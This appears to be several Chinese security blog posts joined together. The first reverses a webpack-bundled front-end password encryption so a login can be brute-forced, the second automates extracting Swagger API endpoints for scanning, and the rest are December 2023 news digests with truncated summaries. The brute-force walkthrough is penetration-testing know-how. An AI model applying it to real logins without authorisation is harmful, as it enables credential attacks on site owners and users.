前言 在我们日常的渗透中经常会遇到开局一个登录框的情况，弱口令爆破当然是我们的首选。但是有的网站会对账号密码等登录信息进行加密处理，这一步不由得阻碍了很多人的脚步。前端的加解密是比较常见的，无论是 web 后台还是小程序，都常常存在加解密传输，签名防篡改等机制，会使很多渗透人员没有办法直接对参数的值进行更改，大大增加了攻击者的攻击成本。本文将一个带验证码的后台实站案例与大家分享。 正文 发包逻辑分析： 开局一个登录框，随便输入一段账号密码跟验证码进行抓包 提交错误的验证码跟账号密码弹出了验证码错误！的提示，说明这个数据包就是校验账号密码跟验证码的数据包 查看一下参数，账号，验证码都是明文，密码被加密了 搜索参数关键词password，可以看到一个带有login的js文件，双击进入文件。 在文件内部总共有10个password关键词，全部打上断点发包校验。 断点在196行断了下来，t.param.password是明文。经过Object(i["a"])函数运行之后就成了加密密文。证明Object(i["a"])便是加密函数！后续便是把所有需要拿去爆破的明文加密成密文便可绕过前端加密直接进行暴力破解。 扣加密函数： 进入到加密函数内部查看 可以看到函数内部有个s函数，将断点下到156行，查看传进来的t是什么值，以及经过s函数运行之后的返回值又是什么呢。 t是传进来的明文，返回值是加密之后的值。 观察一下代码，可以看到"93a9"和 "7d92"，把代码拉到第一行，这个站点用的webpack打包技术。 那么webpack又是什么呢？ WebPack打包 webpack是一个基于模块化的打包（构建）工具, 它把一切都视作模块 概念： webpack是 JavaScript 应用程序的模块打包器,可以把开发中的所有资源（图片、js文件、css文件等）都看成模块，通过loader（加载器）和plugins（插件）对资源进行处理，打包成符合生产环境部署的前端资源。所有的资源都是通过JavaScript渲染出来的。 如果一个页面大部分是script标签构成，80%以上是webpack打包。 webpack打包简介 多个JS文件打包： 如果模块比较多，就会将模块打包成JS文件, 然后定义一个全局变量 window["webpackJsonp"] = [ ]，它的作用是存储需要动态导入的模块，然后重写 window["webpackJsonp"] 数组的 push( ) 方法为 webpackJsonpCallback( ),也就是说 window["webpackJsonp"].push( ) 其实执行的是 webpackJsonpCallback( ),window["webpackJsonp"].push( )接收三个参数,第一个参数是模块的ID,第二个参数是 一个数组或者对象,里面定义大量的函数,第三个参数是要调用的 寻找加载器 加载器一般是使用call或者apply方法 call() 方法会立即执行这个函数，接受一个多个参数，参数之间用逗号隔开； apply()方法会立即执行这个函数，接受一个包含多个参数的数组； 我们找类似i("1ff3")这种的字眼，然后打断点，刷新页面进断点，一般就可以找到加载器了 断点断下来之后直接进入加载器函数 可以看到d函数里面明显的使用了call函数。 直接全扣整段webpack代码。 定义全局变量调用模块，运行代码 var 君主; 报错windows未定义。直接补上window对象。 var window={}; 在导出的模块里面没有寻找到我们需要的“7d92”模块 复制donate~login.06871226.js文件到ide折叠，将其7d92模块复制到我们有加载器的模块数组里面。 调用7d92模块 报错了TypeError: Cannot read properties of undefined (reading 'call')模块缺失的错误。 打印传进去的模块，看看是缺失哪个模块咱们直接补。 缺失1ff3模块 缺失f28c模块 浏览器全局搜索f28c，模块f28c在chunk-vendors.db1c4c0d.js文件里面。 缺失143d模块,143d模块在donate~login.06871226.js文件里面。 后续报错的93a9，ea6a模块也都在donate~login.06871226.js文件里面。 没有报错了，调用当前函数。加密值出来了。

今天来分享下我是如何自动提取 swagger 中配置的 API 接口的，在此之前，先来了解下 swagger 是什么？下面是 chatgpt 的回答： 总结起来就是一套方便开发人员设计、构建 API 的框架，国内外应用非常广泛，大家在日常信息收集的时候经常会遇到这样的系统，比如通过谷歌语法可以轻松找到： 还可以使用网络空间搜索引擎，比如 fofa： 足以看出使用量是非常广泛来，当然，还有很多是隐藏在网站目录中的，需要通过目录枚举来发现这类系统。随便打开一个看看这个系统长什么样： 上图是配置的一些 API 接口信息，点击其中任意一个接口，会有该 API 详细的信息，比如： 手工测试时，可以根据接口的描述，进行针对性的测试，即方便了开发人员，如果存在未授权访问的情况下也方便的攻击者，而我们作为白帽子，这种系统可以扩展我们测试范围，从而发现更多问题。 所以对于企业而言，这种系统，可以设置访问权限，仅限相关开发人员访问，或者将其设置内网访问，尽量不要将其映射至外网，从而降低这类信息比恶意利用的风险。 今天的主要目的是如何通过编写脚本自动化提取其中的接口，从而实现自动化测试，适用于大量目标的测试。 通过查看网站访问的数据包，可以发现所有接口信息是通过 api 返回数据，再通过前端的 javascript 进行格式化成方便操作的页面，所以我们只需要找到那个返回数据的接口，进行分析提取即可，如图： 上面的案例是 openapi 的 3.0 版本，下面是 swagger 2.0 版本： 经过分析，发现，不同版本的格式有略微的差别，所以在做自动化分析的时候，需要根据不同版本做相应的处理。 从上面的案例同样可以看出，返回接口数据的接口不太一样，第一个是 swagger.json，第二个是 swagger-docs，所以在收集这类数据接口的时候，需要指定常见接口名称和路径的字典，从而发现更多可以返回 API 数据的接口。 下面分别以这两个版本的接口作为案例，解析其中的 API，然后在参数部分添加默认值，输出 API 接口列表，从而应用在其他漏洞扫描器中进行漏洞探测。 1、基于 openapi 3.0 版本，提取接口列表 核心其实就是写一个函数将接口数据中的参数增加默认值后输出即可，一个完整的接口配置如图： 其中 statusCode 是路径中的参数，可以将默认值设为 1，get 表示该接口是通过 GET 方法请求，parameters 就是需要配置的接口参数，name 就是参数的名称，schema 就是参数的类型是数字，我们在自动提取的时候，可以根据参数的类型设置默认值，也可以直接都设置成数字，根据自己的需要来。 简单写了一个解析函数，输出的结果如图： 2、基于 swagger 2.0 版本，提取接口列表 方法其实大同小异，只是格式不同而已，解析出的格式如图： 关于参考脚本可以前往【渗透测试那些事儿】知识星球获取，由于代码并不成熟，所以就不公开分享了，互联网上也有同类型的脚本可以参考： https://github.com/jayus0821/swagger-hack在实现解析单个脚本的能力之后，那么就是如何收集更多类似接口，这里推荐 nuclei 的 POC 模板，也可以根据自己的经验进行添加： https://github.com/projectdiscovery/nuclei-templates/blob/e6c20a24de75a63b3ce01fd25925aef4604cd34c/http/exposures/apis/swagger-api.yaml#L47 比如我们刚才测试的目标： 第一个目标测试出了一个 js 文件，第二个没有测试出来，说明这个 POC 中配置的字典并不全面，这种情况，自己可以将未收录的路径添加到 POC 中，从而扩展工具的能力。

1、安全性较差的Linux SSH服务器易遭受加密货币挖矿攻击 https://asec.ahnlab.com/en/59972/ 安全性较差的 Linux SSH 服务器被不良行为者瞄准，安装端口扫描器和字典攻击工具，目的是瞄准其他易受攻击的服务器并将它们拉入网络以进行加密货币挖掘和分布式拒绝服务 (DDoS)攻击。威胁行为者还可以选择仅安装扫描仪，并在暗网上出售被泄露的 IP 和帐户凭据。在这些攻击中，攻击者试图通过运行用户名和密码的常用组合列表来猜测服务器的 SSH 凭据，这种技术称为字典攻击。如果暴力尝试成功，威胁行为者就会部署其他恶意软件（包括扫描程序）来扫描互联网上的其他易受影响的系统。具体来说，该扫描程序旨在查找端口 22（与 SSH 服务 2、攻击者使用Xamalicious安卓恶意后门发起网络攻击 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/stealth-backdoor-android-xamalicious-actively-infecting-devices/ 研究人员发现了一个使用 Xamarin 实现的 Android 后门，Xamarin 是一个开源框架，允许使用 .NET 和 C# 构建 Android 和 iOS 应用程序。被称为 Android/Xamalicious 的它尝试通过社会工程获得可访问权限，然后与命令和控制服务器进行通信，以评估是否下载在运行时作为程序集 DLL 动态注入的第二阶段有效负载， 3、GitHub警告用户2024年1月19日之前启用2FA否则功能将会受限 https://github.blog/2022-05-04-software-security-starts-with-the-developer-securing-developer-accounts-with-2fa/ GitHub 警告用户，如果他们的帐户不启用双因素身份验证 (2FA)，他们在网站上的功能很快就会受到限制。在平安夜发送给 GitHub 用户的电子邮件中，该公司警告说，所有在 GitHub.com 上贡献代码的用户都必须在 2024 年 1 月 19 日之前启用 2FA。电子邮件中写道：“这是一个提醒， 我们宣布要求用户在 GitHub.com 上贡献代码以启用双因素 4、Integris Health患者在该公司遭遇网络攻击后收到勒索邮件 https://integrisok.com/landing/cyber-event 俄克拉荷马州的 Integris Health 患者收到勒索电子邮件，称他们的数据在医疗保健网络的网络攻击中被盗，如果他们不支付勒索要求，这些数据将被出售给其他威胁行为者。Integris Health 是俄克拉荷马州最大的非营利性医疗网络，在全州运营医院、诊所和紧急护理服务。该医疗保健网络证实，他们在 11 月遭受了网络攻击，导致患者数据被盗。INTEGRIS Health 发现某些系统上存在潜在的未经授权的活动，在意识到可疑活动后，INTEGRIS Health 立即采取措施保护环境，并开始调查活动的性 5、攻击者利用Carbanak银行恶意软件发起勒索软件攻击 https://www.nccgroup.com/us/newsroom/ncc-group-monthly-threat-pulse-november-2023/ Carbanak的银行恶意软件被用于勒索软件攻击，其策略已更新。该恶意软件已经适应了攻击供应商和技术，以使其有效性多样化。Carbanak 上个月通过新的分销链返回，并通过受感染的网站进行分发，以冒充各种商业相关软件。一些模拟工具包括流行的业务相关软件，例如 HubSpot、Veeam 和 Xero。Carbanak至少自 2014 年起就在野外被发现，以其数据泄露和远程控制功能而闻名。它最初是一种银行恶意软件，后来被 FIN7 6、梭子鱼修复了新 ESG 设备零日漏洞 https://securityaffairs.com/156502/breaking-news/barracuda-fixed-a-new-esg-zero-day-exploited-by-chinese-group-unc4841.html 安全公司 Barracuda 解决了一个新的零日漏洞，该漏洞影响了其电子邮件安全网关 (ESG) 设备。 7、Apache OfBiz ERP 系统中的关键零日漏洞使企业面临攻击 https://thehackernews.com/2023/12/critical-zero-day-in-apache-ofbiz-erp.html Apache OfBiz（一个开源企业资源规划 (ERP) 系统）中发现了一个新的零日安全漏洞，可利用该漏洞绕过身份验证保护。 8、CyberAv3ngers 以 5 BTC 的价格出售 1TB 的以色列电力数据 https://thecyberexpress.com/iec-data-breach-israels-power-attack/ 黑客组织 CyberAv3ngers 声称已从以色列电力基础设施获取并出售 1TB 数据。他们在提供数据出售的平台上发布了一条消息。以色列电力公司（IEC）尚未做出回应。 9、LockBit 团伙攻击了会计师事务所 Xeinadin 并窃取了数据 https://securityaffairs.com/156303/cyber-crime/lockbit-gang-xeinadin.html LockBit 勒索软件组织已将目标锁定为拥有 60,000 多名客户的会计师事务所 Xeinadin，并威胁称，如果该公司不联系，将泄露 1.5 TB 的被盗客户数据。 10、谷歌 Chrome 现支持在后台扫描泄露的密码 https://www.bleepingcomputer.com/news/google/google-chrome-now-scans-for-compromised-passwords-in-the-background/ 谷歌表示，Chrome 安全检查功能将在后台运行，检查网络浏览器中保存的密码是否已被泄露。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、研究人员披露Kimsuky组织使用的AppleSeed恶意软件 https://asec.ahnlab.com/ko/59933/ Kimsuky 组织自 2013 年以来一直活跃。最初对韩国的朝鲜相关研究机构进行了攻击，并确认了 2014 年对韩国能源机构的攻击， 2017 年以来，针对韩国以外国家的袭击也已得到证实。主要通过鱼叉式网络钓鱼攻击攻击国防、军工、媒体、外交、政府机构、学术领域，旨在窃取组织内部信息和技术。Kimsuky 组织通常使用鱼叉式网络钓鱼攻击作为初始渗透路线，但最近，许多攻击案例都是使用LNK格式的快捷方式恶意软件进行的。LNK 恶意软件在近期攻击中所占比例很高，但利用 JavaScript 恶意软件或恶意文档文件进行攻击的案例也 2、欧洲刑警组织警告443家网上商店遭受信用卡盗窃者攻击 https://www.group-ib.com/media-center/press-releases/digital-skimming-action/ 欧洲刑警组织已通知 400 多个网站，它们的网上商店遭到恶意脚本的攻击，这些脚本会窃取顾客购物时的借记卡和信用卡。浏览器是添加到结账页面或从远程资源加载以逃避检测的 JavaScript 代码小片段。它们旨在拦截和窃取支付卡号、有效期、验证码、姓名和送货地址，然后将信息上传到攻击者的服务器。攻击者利用窃取的数据执行未经授权的交易，例如在线购买，或将其转售给暗网市场上的其他网络犯罪分子。这些攻击可能在数周甚至数月内都未被发现，并且根据被破坏 3、攻击者利用恶意Chrome拓展程序针对俄语用户发起网络攻击 https://reasonlabs.com/research/the-cashback-extension-killer 三个冒充 VPN（虚拟专用网络）感染的恶意 Chrome 扩展程序被下载了 150 万次，充当浏览器劫持者、现金返还黑客工具和数据窃取者。它们是通过隐藏在《侠盗猎车手》、《刺客信条》和《模拟人生 4》等流行视频游戏的盗版副本中的安装程序进行传播的，这些游戏是从 torrent 网站分发的。研究人员将其调查结果通知了谷歌，这家科技巨头从 Chrome 网上应用店中删除了这些违规扩展，但前提是这些扩展的下载总量已达到 150 万次。具体来说，恶意扩展是 netPlus（10 4、Carbanak 恶意软件在勒索软件攻击中卷土重来 https://securityaffairs.com/156410/malware/carbanak-malware-ransomware-attacks.html NCC 集团的研究人员报告称，11 月，他们观察到臭名昭著的银行恶意软件 Carbanak 在勒索软件攻击中卷土重来。 5、Resecurity 发布 2024 年网络威胁格局预测 https://securityaffairs.com/156405/reports/2024-cyber-threat-landscape-forecast.html 网络安全公司 Resecurity 发布了 2024 年网络威胁形势预测。 6、Ubuntu 安全更新修复了 Vim 漏洞 https://tuxcare.com/blog/ubuntu-security-updates-fixed-vim-vulnerabilities 这些漏洞的范围从拒绝服务风险到任意代码执行可能性。它强调了定期更新 Vim 并应用安全补丁来减轻这些风险的重要性。 7、研究人员发现隐形 Android 后门 Xamalicious 主动感染设备 https://www.mcafee.com/blogs/other-blogs/mcafee-labs/stealth-backdoor-android-xamalicious-actively-infecting-devices/ 使用 Xamarin 实现的 Xamalicious 后门通过获取可访问权限并与 C2 服务器通信以下载第二阶段有效负载来针对 Android 设备，从而可能在未经用户同意的情况下实施欺诈行为。 8、盗版 WordPress 插件可能导致电子商务网站面临信用卡被盗风险 https://thehackernews.com/2023/12/rogue-wordpress-plugin-exposes-e.html 研究人员发现了一个流氓 WordPress 插件，它能够创建假管理员用户并注入恶意 JavaScript 代码以窃取信用卡信息。 9、全国公安机关视频会议：将依法打击查处各类涉网违法犯罪活动 http://www.anquan419.com/knews/24/6469.html 全国公安机关视频会议 12 月 23 日召开。会议指出，要严格落实网上巡控等措施，快速查处网络谣言和有害信息，依法打击查处各类涉网违法犯罪活动，有效治理网络乱象。 10、GTA 5 完整源代码被公开泄露 https://www.freebuf.com/news/387698.html 《GTA 5》的源代码在圣诞节前夕遭泄露，该文件包大小约为 4GB，包含大量 RAGE 引擎文件、概念和参考图像，还有《GTA5》圣安地列斯的早期地图。游戏源代码链接被黑客分发到了Discord、某暗网网站和一个 Telegram 频道等多个渠道。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。

1、研究人员披露利用Word文档传播基于Nim的恶意软件活动 https://www.netskope.com/blog/a-look-at-the-nim-based-campaign-using-microsoft-word-docs-to-impersonate-the-nepali-government 一个新的网络钓鱼活动正在利用诱饵 Microsoft Word 文档作为诱饵来提供用Nim 编程语言编写的后门。用不常见的编程语言编写的恶意软件使安全社区处于不利地位，因为研究人员和逆向工程师的不熟悉可能会阻碍他们的调查。NimzaLoader、Nimbda、IceXLoader等加载程序以及以Dark Power和Kanti名称追踪的勒索软件 2、研究人员发现GPU.zip技术可以从显卡中窃取敏感信息 https://blogs.blackberry.com/en/2023/12/sneaky-gpu-zip-technique-steals-sensitive-information-from-your-graphics-card 研究人员发现了一种新方法，威胁行为者可以在您上网并浏览某些网站时从您的显卡中偷偷访问视觉信息。研究人员将这种威胁称为“ GPU.zip ”，因为它利用现代图形处理单元 (GPU) 使用的隐藏数据压缩方法将视觉数据泄露给恶意第三方。在测试中，他们发现该技术可用于窃取目标的敏感视觉数据，例如用户名和密码，而用户不知道发生了什么。研究人员在一篇论文中写下了他们的概念 3、Akira勒索组织称对日产汽车澳大利亚分公司发起网络攻击 https://www.bleepingcomputer.com/news/security/nissan-australia-cyberattack-claimed-by-akira-ransomware-gang/ 在 12 月 22 日该行动的日期泄露博客中添加的新条目中，Akira 勒索软件团伙声称它侵入了日本汽车制造商日产汽车澳大利亚分公司 Nissan Australia 的网络。Akira 表示，其行动者据称从该汽车制造商的系统中窃取了约 100GB 的文件。攻击者威胁要在网上泄露敏感的业务和客户数据，因为日产拒绝参与或支付赎金后，与日产的赎金谈判失败。勒索软件组织表示。“您会 4、Mint Mobile遭遇数据泄露事件影响客户个人信息 https://twitter.com/CyleRickner/status/1738186087502168292 Mint Mobile 披露了一起新的数据泄露事件，该事件暴露了其客户的个人信息，包括可用于执行 SIM 交换攻击的数据。Mint 是一家移动虚拟网络运营商 (MVNO)，提供预算预付费移动套餐。T-Mobile 提议支付 13 亿美元收购该公司。该公司于 12 月 22 日开始通过标题为“有关您帐户的重要信息”的电子邮件通知客户，称他们遭遇了安全事件，黑客获取了客户信息。Mint Mobile 数据泄露通知警告称：“我们写这封信是为了通知您我们最近发现的一起安全事件，其中未 5、CISA 警告 FXC 路由器、QNAP NVR 漏洞被广泛利用 https://www.securityweek.com/cisa-warns-of-fxc-router-qnap-nvr-vulnerabilities-exploited-in-the-wild/ CISA 发布了针对 FXC 路由器和 QNAP NRV 缺陷的 ICS 公告，并将其添加到其已知的利用漏洞目录中。 6、思科将收购 Isovalent，将 eBPF 技术添加到云产品组合中 https://www.securityweek.com/cisco-to-acquire-isovalent-add-ebpf-tech-to-cloud-portfolio/ 思科周四宣布计划收购硅谷网络和安全初创公司 Isovalent，以增强其云安全产品组合的能力。 7、恶意 GPT 可以钓鱼凭证，将其泄露到外部服务器 https://www.securityweek.com/malicious-gpt-can-phish-credentials-exfiltrate-them-to-external-server-researcher/ 研究人员展示了恶意行为者如何创建自定义 GPT，通过网络钓鱼获取用户凭据并将窃取的数据泄露到外部服务器。 8、RusticWeb 行动：基于 Rust 的恶意软件针对印度政府实体 https://thehackernews.com/2023/12/operation-rusticweb-rust-based-malware.html 印度政府实体和国防部门已成为网络钓鱼活动的目标，该活动旨在投放基于 Rust 的恶意软件以进行情报收集。该活动于 2023 年 10 月首次检测到，企业安全公司 SEQRITE 将该活动代号为“Operation RusticWeb”。 9、Cloud Atlas 针对俄罗斯农业和研究公司进行鱼叉式钓鱼攻击 https://thehackernews.com/2023/12/cloud-atlas-spear-phishing-attacks.html 被称为Cloud Atlas 的威胁行为者与一系列针对俄罗斯企业的鱼叉式网络钓鱼攻击有关。Cloud Atlas 是一个来源不明的网络间谍组织，至少从 2014 年开始活跃。该威胁行为者也被称为 Clean Ursa、Inception、Oxygen 和 Red October，以其针对俄罗斯、白俄罗斯、阿塞拜疆、土耳其和斯洛文尼亚的持续活动而闻名。 10、入侵 R 星泄露《GTA 6》源代码的少年黑客被判终生入院看护 https://www.ithome.com/0/740/882.htm 入侵 R 星泄露《GTA 6》源代码的黑客 Arion Kurtaj 被法院判处终生入院看护（indefinite hospital order），除非医生认为他不再构成威胁。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。